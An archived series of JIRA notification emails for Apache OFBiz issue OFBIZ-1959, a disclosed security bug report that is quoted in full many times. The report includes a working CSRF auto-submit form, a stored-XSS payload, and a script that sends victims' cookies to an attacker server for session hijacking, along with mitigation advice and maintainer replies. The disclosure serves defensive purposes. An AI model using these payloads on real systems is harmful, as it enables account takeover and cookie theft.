> our victims, extract the useful parameters and store them in a file or DB, in a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his maxlength
> is 255 characters: this gives us a great advantage when creating a complex injection code,
> if we don't want to inject a link to the malicious script like
> <img src="http://x.x.x.x/malicious.js">
>
> The malicious code will look as the following one:
>
> <script>
> var str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
> if(document.cookie.indexOf("done")<0)\{
> document.cookie="done=true";
> document.location.replace(str);
> }
> </script>
>
> Of course the code can be a lot shorter, and the "already-exploited-check" can be removed.
>
> After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL (remember document.URL) that will be an
> authentication-required resource, the login page will ask us for valid credentials.
> In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new cookie has been
> given to us, because we don't have one. If we modify the JSESSIONID value with the grabbed
> one, and we make the previous request another time (just refresh on the login page), then
> we are riding the same victim session. If we are lucky and it's an admin, we can do
> whatever we want on his/her behalf.
> +++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++
> Mitigation can be made in two ways:
> - Infrastructure: a web application firewall like ModSecurity can be deployed in front of Tomcat, in enterprise deployments such as
> Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will mitigate XSS and Session Hijacking.
> - Application:
> XSS--> input validation on form parameters and GET/POST request values must be implemented. I was thinking
> to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI project (a really good one), or re-using the ModSecurity
> Reg-expression patterns to filter out bad input.
> XSRF--> build a class that will implement javax.servlet.Filter and will add to every GET/POST request a random token that will be unique
> and will change every time. In this way (if the entropy is enough and the algorithm good, it will be quite impossible to guess it).
> Said all of that, we really support Ofbiz!
--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.
[jira] Commented: (OFBIZ-1959) Remaining XSRF issues
Posted by "Jacques Le Roux (JIRA)" <ji...@apache.org>.
[ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12914705#action_12914705 ]
Jacques Le Roux commented on OFBIZ-1959:
----------------------------------------
Hi Michele,
I'd like to know if you are aware of any still existing issues?
Thanks
> Remaining XSRF issues
> ----------------------
>
> Key: OFBIZ-1959
> URL: https://issues.apache.org/jira/browse/OFBIZ-1959
> Project: OFBiz
> Issue Type: Sub-task
> Components: ALL COMPONENTS
> Affects Versions: Release Branch 09.04, SVN trunk
> Reporter: Michele Orru
> Priority: Critical
> Fix For: Release Branch 09.04, SVN trunk
>
>
> +++++++++++++++++++++++|||Discovered security issues|||+++++++++++++++++++++++++
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and so on
> 3.: Session Hijacking
> +++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST request
> parameters are never "fortified" to prevent XSRF: no random token protection can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the attacker, force you (the victim)
> to executes.
> - In GET requests it will be a link like http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
> - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following innocuous one:
>
> <form method="POST" id="xsrf" name="xsrf"
> action="https://127.0.0.1:8443/catalog/control/createProduct">
> <input type=hidden name="isCreate" value="true">
> <input type=hidden name="productId" value="hack02">
> <input type=hidden name="productTypeId" value="DIGITAL_GOOD">
> <input type=hidden name="internalName" value="hack02">
> </form>
> <script>document.xsrf.submit(); </script>
> Of course the product-creation mechanism is not finished (we need price, content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the browser.
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a needed
> parameter is quite un-useful and so prone to store our malicious code) with something
> like:
>
> <input type=hidden name="internalName"
> value="<script>alert(document.cookie)</script>">
>
> The malicious code will display every cookie information in a pop-up, that only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET request from
> our victims, extract the useful parameters and store them in a file or DB, in a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his maxlength
> is 255 characters: this gives us a great advantage when creating a complex injection code,
> if we don't want to inject a link to the malicious script like
> <img src="http://x.x.x.x/malicious.js">
>
> The malicious code will look as the following one:
>
> <script>
> var str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
> if(document.cookie.indexOf("done")<0)\{
> document.cookie="done=true";
> document.location.replace(str);
> }
> </script>
>
> Of course the code can be a lot shorter, and the "already-exploited-check" can be removed.
>
> After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL (remember document.URL) that will be an
> authentication-required resource, the login page will ask us for valid credentials.
> In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new cookie has been
> given to us, because we don't have one. If we modify the JSESSIONID value with the grabbed
> one, and we make the previous request another time (just refresh on the login page), then
> we are riding the same victim session. If we are lucky and it's an admin, we can do
> whatever we want on his/her behalf.
> +++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++
> Mitigation can be made in two ways:
> - Infrastructure: a web application firewall like ModSecurity can be deployed in front of Tomcat, in enterprise deployments such as
> Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will mitigate XSS and Session Hijacking.
> - Application:
> XSS--> input validation on form parameters and GET/POST request values must be implemented. I was thinking
> to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI project (a really good one), or re-using the ModSecurity
> Reg-expression patterns to filter out bad input.
> XSRF--> build a class that will implement javax.servlet.Filter and will add to every GET/POST request a random token that will be unique
> and will change every time. In this way (if the entropy is enough and the algorithm good, it will be quite impossible to guess it).
> Said all of that, we really support Ofbiz!
--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.
[jira] Commented: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS,
Session Hijacking): exploitation and mitigation
Posted by "Michele Orru (JIRA)" <ji...@apache.org>.
[ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12630879#action_12630879 ]
Michele Orru commented on OFBIZ-1959:
-------------------------------------
Of course I tested all of them on Ofbiz, and the examples that you can see in my post are all relevant to Ofbiz.
The action on the form method is https://127.0.0.1:8443/catalog/control/createProduct.
The internalName is an attribute of Product.
- Every attack was tested on the latest Ofbiz SVN trunk.
- The attacks I posted are not only XSS: XSRF is definitely not an XSS.
- The XSRF and Session Hijacking attacks were not already present in your Issue Tracker.
- One possible mitigation is to add new functionalities to org.ofbiz.base.util.UtilValidate, that is from ofbiz APIs.
The XSS ticket is still open from 2 years, maybe because as Jaques Le Roux said these attacks are not
critical issues for you. When I will have time I will fix them, but maybe we can discuss how to protect Ofbiz
from the latest threats instead of don't do nothing.
{quote}
I don't see any thing relative to ofbiz in this post
just general Java.
have you tested this with ofbiz to verify.
also we have other issues that referred to XSS.
Search the Jira for it.
{quote}
> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
> ------------------------------------------------------------------------------------
>
> Key: OFBIZ-1959
> URL: https://issues.apache.org/jira/browse/OFBIZ-1959
> Project: OFBiz
> Issue Type: Bug
> Components: ALL COMPONENTS
> Affects Versions: SVN trunk
> Reporter: Michele Orru
> Priority: Critical
> Fix For: SVN trunk
>
>
> +++++++++++++++++++++++|||Discovered security issues|||+++++++++++++++++++++++++
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and so on
> 3.: Session Hijacking
> +++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST request
> parameters are never "fortified" to prevent XSRF: no random token protection can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the attacker, force you (the victim)
> to executes.
> - In GET requests it will be a link like http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
> - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following innocuous one:
>
> <form method="POST" id="xsrf" name="xsrf"
> action="https://127.0.0.1:8443/catalog/control/createProduct">
> <input type=hidden name="isCreate" value="true">
> <input type=hidden name="productId" value="hack02">
> <input type=hidden name="productTypeId" value="DIGITAL_GOOD">
> <input type=hidden name="internalName" value="hack02">
> </form>
> <script>document.xsrf.submit(); </script>
> Of course the product-creation mechanism is not finished (we need price, content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the browser.
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a needed
> parameter is quite un-useful and so prone to store our malicious code) with something
> like:
>
> <input type=hidden name="internalName"
> value="<script>alert(document.cookie)</script>">
>
> The malicious code will display every cookie information in a pop-up, that only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET request from
> our victims, extract the useful parameters and store them in a file or DB, in a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his maxlength
> is 255 characters: this gives us a great advantage when creating a complex injection code,
> if we don't want to inject a link to the malicious script like
> <img src="http://x.x.x.x/malicious.js">
>
> The malicious code will look as the following one:
>
> <script>
> var str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
> if(document.cookie.indexOf("done")<0)\{
> document.cookie="done=true";
> document.location.replace(str);
> }
> </script>
>
> Of course the code can be a lot shorter, and the "already-exploited-check" can be removed.
>
> After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL (remember document.URL) that will be an
> authentication-required resource, the login page will ask us for valid credentials.
> In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new cookie has been
> given to us, because we don't have one. If we modify the JSESSIONID value with the grabbed
> one, and we make the previous request another time (just refresh on the login page), then
> we are riding the same victim session. If we are lucky and it's an admin, we can do
> whatever we want on his/her behalf.
> +++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++
> Mitigation can be made in two ways:
> - Infrastructure: a web application firewall like ModSecurity can be deployed in front of Tomcat, in enterprise deployments such as
> Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will mitigate XSS and Session Hijacking.
> - Application:
> XSS--> input validation on form parameters and GET/POST request values must be implemented. I was thinking
> to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI project (a really good one), or re-using the ModSecurity
> Reg-expression patterns to filter out bad input.
> XSRF--> build a class that will implement javax.servlet.Filter and will add to every GET/POST request a random token that will be unique
> and will change every time. In this way (if the entropy is enough and the algorithm good, it will be quite impossible to guess it).
> Said all of that, we really support Ofbiz!
--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.
[jira] Updated: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS,
Session Hijacking): exploitation and mitigation
Posted by "Michele Orru (JIRA)" <ji...@apache.org>.
[ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]
Michele Orru updated OFBIZ-1959:
--------------------------------
Hi developers.
As asked by Jaques a few days ago, I did a pen test on the latest ofbiz trunk and I can see that XSS has been well mitigated...
will test for XSRF asap. Lack of free time right now :(
Good work David & Jaques
All the best
Michele
> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
> ------------------------------------------------------------------------------------
>
> Key: OFBIZ-1959
> URL: https://issues.apache.org/jira/browse/OFBIZ-1959
> Project: OFBiz
> Issue Type: Bug
> Components: ALL COMPONENTS
> Affects Versions: Release Branch 9.04, SVN trunk
> Reporter: Michele Orru
> Priority: Critical
> Fix For: Release Branch 9.04, SVN trunk
>
>
> +++++++++++++++++++++++|||Discovered security issues|||+++++++++++++++++++++++++
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and so on
> 3.: Session Hijacking
> +++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST request
> parameters are never "fortified" to prevent XSRF: no random token protection can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the attacker, force you (the victim)
> to executes.
> - In GET requests it will be a link like http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
> - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following innocuous one:
>
> <form method="POST" id="xsrf" name="xsrf"
> action="https://127.0.0.1:8443/catalog/control/createProduct">
> <input type=hidden name="isCreate" value="true">
> <input type=hidden name="productId" value="hack02">
> <input type=hidden name="productTypeId" value="DIGITAL_GOOD">
> <input type=hidden name="internalName" value="hack02">
> </form>
> <script>document.xsrf.submit(); </script>
> Of course the product-creation mechanism is not finished (we need price, content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the browser.
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a needed
> parameter is quite un-useful and so prone to store our malicious code) with something
> like:
>
> <input type=hidden name="internalName"
> value="<script>alert(document.cookie)</script>">
>
> The malicious code will display every cookie information in a pop-up, that only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET request from
> our victims, extract the useful parameters and store them in a file or DB, in a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his maxlength
> is 255 characters: this gives us a great advantage when creating a complex injection code,
> if we don't want to inject a link to the malicious script like
> <img src="http://x.x.x.x/malicious.js">
>
> The malicious code will look as the following one:
>
> <script>
> var str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
> if(document.cookie.indexOf("done")<0)\{
> document.cookie="done=true";
> document.location.replace(str);
> }
> </script>
>
> Of course the code can be a lot shorter, and the "already-exploited-check" can be removed.
>
> After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL (remember document.URL) that will be an
> authentication-required resource, the login page will ask us for valid credentials.
> In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new cookie has been
> given to us, because we don't have one. If we modify the JSESSIONID value with the grabbed
> one, and we make the previous request another time (just refresh on the login page), then
> we are riding the same victim session. If we are lucky and it's an admin, we can do
> whatever we want on his/her behalf.
> +++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++
> Mitigation can be made in two ways:
> - Infrastructure: a web application firewall like ModSecurity can be deployed in front of Tomcat, in enterprise deployments such as
> Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will mitigate XSS and Session Hijacking.
> - Application:
> XSS--> input validation on form parameters and GET/POST request values must be implemented. I was thinking
> to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI project (a really good one), or re-using the ModSecurity
> Reg-expression patterns to filter out bad input.
> XSRF--> build a class that will implement javax.servlet.Filter and will add to every GET/POST request a random token that will be unique
> and will change every time. In this way (if the entropy is enough and the algorithm good, it will be quite impossible to guess it).
> Said all of that, we really support Ofbiz!
--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.
[jira] Commented: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS,
Session Hijacking): exploitation and mitigation
Posted by "Jacques Le Roux (JIRA)" <ji...@apache.org>.
[ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12674048#action_12674048 ]
Jacques Le Roux commented on OFBIZ-1959:
----------------------------------------
Hi Michele,
Yes it was done with ESAPI. But David (E. Jones) is the culprit, I only helped here and there.
Thanks for your appreciated help
> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
> ------------------------------------------------------------------------------------
>
> Key: OFBIZ-1959
> URL: https://issues.apache.org/jira/browse/OFBIZ-1959
> Project: OFBiz
> Issue Type: Bug
> Components: ALL COMPONENTS
> Affects Versions: SVN trunk
> Reporter: Michele Orru
> Priority: Critical
> Fix For: SVN trunk
>
>
> +++++++++++++++++++++++|||Discovered security issues|||+++++++++++++++++++++++++
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and so on
> 3.: Session Hijacking
> +++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST request
> parameters are never "fortified" to prevent XSRF: no random token protection can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the attacker, force you (the victim)
> to executes.
> - In GET requests it will be a link like http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
> - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following innocuous one:
>
> <form method="POST" id="xsrf" name="xsrf"
> action="https://127.0.0.1:8443/catalog/control/createProduct">
> <input type=hidden name="isCreate" value="true">
> <input type=hidden name="productId" value="hack02">
> <input type=hidden name="productTypeId" value="DIGITAL_GOOD">
> <input type=hidden name="internalName" value="hack02">
> </form>
> <script>document.xsrf.submit(); </script>
> Of course the product-creation mechanism is not finished (we need price, content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the browser.
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a needed
> parameter is quite un-useful and so prone to store our malicious code) with something
> like:
>
> <input type=hidden name="internalName"
> value="<script>alert(document.cookie)</script>">
>
> The malicious code will display every cookie information in a pop-up, that only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET request from
> our victims, extract the useful parameters and store them in a file or DB, in a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his maxlength
> is 255 characters: this gives us a great advantage when creating a complex injection code,
> if we don't want to inject a link to the malicious script like
> <img src="http://x.x.x.x/malicious.js">
>
> The malicious code will look as the following one:
>
> <script>
> var str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
> if(document.cookie.indexOf("done")<0)\{
> document.cookie="done=true";
> document.location.replace(str);
> }
> </script>
>
> Of course the code can be a lot shorter, and the "already-exploited-check" can be removed.
>
> After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL (remember document.URL) that will be an
> authentication-required resource, the login page will ask us for valid credentials.
> In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new cookie has been
> given to us, because we don't have one. If we modify the JSESSIONID value with the grabbed
> one, and we make the previous request another time (just refresh on the login page), then
> we are riding the same victim session. If we are lucky and it's an admin, we can do
> whatever we want on his/her behalf.
> +++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++
> Mitigation can be made in two ways:
> - Infrastructure: a web application firewall like ModSecurity can be deployed in front of Tomcat, in enterprise deployments such as
> Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will mitigate XSS and Session Hijacking.
> - Application:
> XSS--> input validation on form parameters and GET/POST request values must be implemented. I was thinking
> to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI project (a really good one), or re-using the ModSecurity
> Reg-expression patterns to filter out bad input.
> XSRF--> build a class that will implement javax.servlet.Filter and will add to every GET/POST request a random token that will be unique
> and will change every time. In this way (if the entropy is enough and the algorithm good, it will be quite impossible to guess it).
> Said all of that, we really support Ofbiz!
--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.
[jira] Updated: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS,
Session Hijacking): exploitation and mitigation
Posted by "Jacques Le Roux (JIRA)" <ji...@apache.org>.
[ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]
Jacques Le Roux updated OFBIZ-1959:
-----------------------------------
Affects Version/s: Release Branch 9.3
Fix Version/s: Release Branch 9.3
> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
> ------------------------------------------------------------------------------------
>
> Key: OFBIZ-1959
> URL: https://issues.apache.org/jira/browse/OFBIZ-1959
> Project: OFBiz
> Issue Type: Bug
> Components: ALL COMPONENTS
> Affects Versions: Release Branch 9.3, SVN trunk
> Reporter: Michele Orru
> Priority: Critical
> Fix For: Release Branch 9.3, SVN trunk
>
>
> +++++++++++++++++++++++|||Discovered security issues|||+++++++++++++++++++++++++
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and so on
> 3.: Session Hijacking
> +++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST request
> parameters are never "fortified" to prevent XSRF: no random token protection can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the attacker, force you (the victim)
> to executes.
> - In GET requests it will be a link like http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
> - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following innocuous one:
>
> <form method="POST" id="xsrf" name="xsrf"
> action="https://127.0.0.1:8443/catalog/control/createProduct">
> <input type=hidden name="isCreate" value="true">
> <input type=hidden name="productId" value="hack02">
> <input type=hidden name="productTypeId" value="DIGITAL_GOOD">
> <input type=hidden name="internalName" value="hack02">
> </form>
> <script>document.xsrf.submit(); </script>
> Of course the product-creation mechanism is not finished (we need price, content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the browser.
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a needed
> parameter is quite un-useful and so prone to store our malicious code) with something
> like:
>
> <input type=hidden name="internalName"
> value="<script>alert(document.cookie)</script>">
>
> The malicious code will display every cookie information in a pop-up, that only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET request from
> our victims, extract the useful parameters and store them in a file or DB, in a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his maxlength
> is 255 characters: this gives us a great advantage when creating a complex injection code,
> if we don't want to inject a link to the malicious script like
> <img src="http://x.x.x.x/malicious.js">
>
> The malicious code will look as the following one:
>
> <script>
> var str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
> if(document.cookie.indexOf("done")<0)\{
> document.cookie="done=true";
> document.location.replace(str);
> }
> </script>
>
> Of course the code can be a lot shorter, and the "already-exploited-check" can be removed.
>
> After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL (remember document.URL) that will be an
> authentication-required resource, the login page will ask us for valid credentials.
> In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new cookie has been
> given to us, because we don't have one. If we modify the JSESSIONID value with the grabbed
> one, and we make the previous request another time (just refresh on the login page), then
> we are riding the same victim session. If we are lucky and it's an admin, we can do
> whatever we want on his/her behalf.
> +++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++
> Mitigation can be made in two ways:
> - Infrastructure: a web application firewall like ModSecurity can be deployed in front of Tomcat, in enterprise deployments such as
> Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will mitigate XSS and Session Hijacking.
> - Application:
> XSS--> input validation on form parameters and GET/POST request values must be implemented. I was thinking
> to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI project (a really good one), or re-using the ModSecurity
> Reg-expression patterns to filter out bad input.
> XSRF--> build a class that will implement javax.servlet.Filter and will add to every GET/POST request a random token that will be unique
> and will change every time. In this way (if the entropy is enough and the algorithm good, it will be quite impossible to guess it).
> Said all of that, we really support Ofbiz!
--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.
[jira] Updated: (OFBIZ-1959) Remaining XSRF issues
Posted by "Jacques Le Roux (JIRA)" <ji...@apache.org>.
[ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]
Jacques Le Roux updated OFBIZ-1959:
-----------------------------------
Summary: Remaining XSRF issues (was: Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation)
> Remaining XSRF issues
> ----------------------
>
> Key: OFBIZ-1959
> URL: https://issues.apache.org/jira/browse/OFBIZ-1959
> Project: OFBiz
> Issue Type: Sub-task
> Components: ALL COMPONENTS
> Affects Versions: Release Branch 9.04, SVN trunk
> Reporter: Michele Orru
> Priority: Critical
> Fix For: Release Branch 9.04, SVN trunk
>
>
> +++++++++++++++++++++++|||Discovered security issues|||+++++++++++++++++++++++++
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and so on
> 3.: Session Hijacking
> +++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST request
> parameters are never "fortified" to prevent XSRF: no random token protection can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the attacker, force you (the victim)
> to executes.
> - In GET requests it will be a link like http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
> - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following innocuous one:
>
> <form method="POST" id="xsrf" name="xsrf"
> action="https://127.0.0.1:8443/catalog/control/createProduct">
> <input type=hidden name="isCreate" value="true">
> <input type=hidden name="productId" value="hack02">
> <input type=hidden name="productTypeId" value="DIGITAL_GOOD">
> <input type=hidden name="internalName" value="hack02">
> </form>
> <script>document.xsrf.submit(); </script>
> Of course the product-creation mechanism is not finished (we need price, content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the browser.
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a needed
> parameter is quite un-useful and so prone to store our malicious code) with something
> like:
>
> <input type=hidden name="internalName"
> value="<script>alert(document.cookie)</script>">
>
> The malicious code will display every cookie information in a pop-up, that only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET request from
> our victims, extract the useful parameters and store them in a file or DB, in a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his maxlength
> is 255 characters: this gives us a great advantage when creating a complex injection code,
> if we don't want to inject a link to the malicious script like
> <img src="http://x.x.x.x/malicious.js">
>
> The malicious code will look as the following one:
>
> <script>
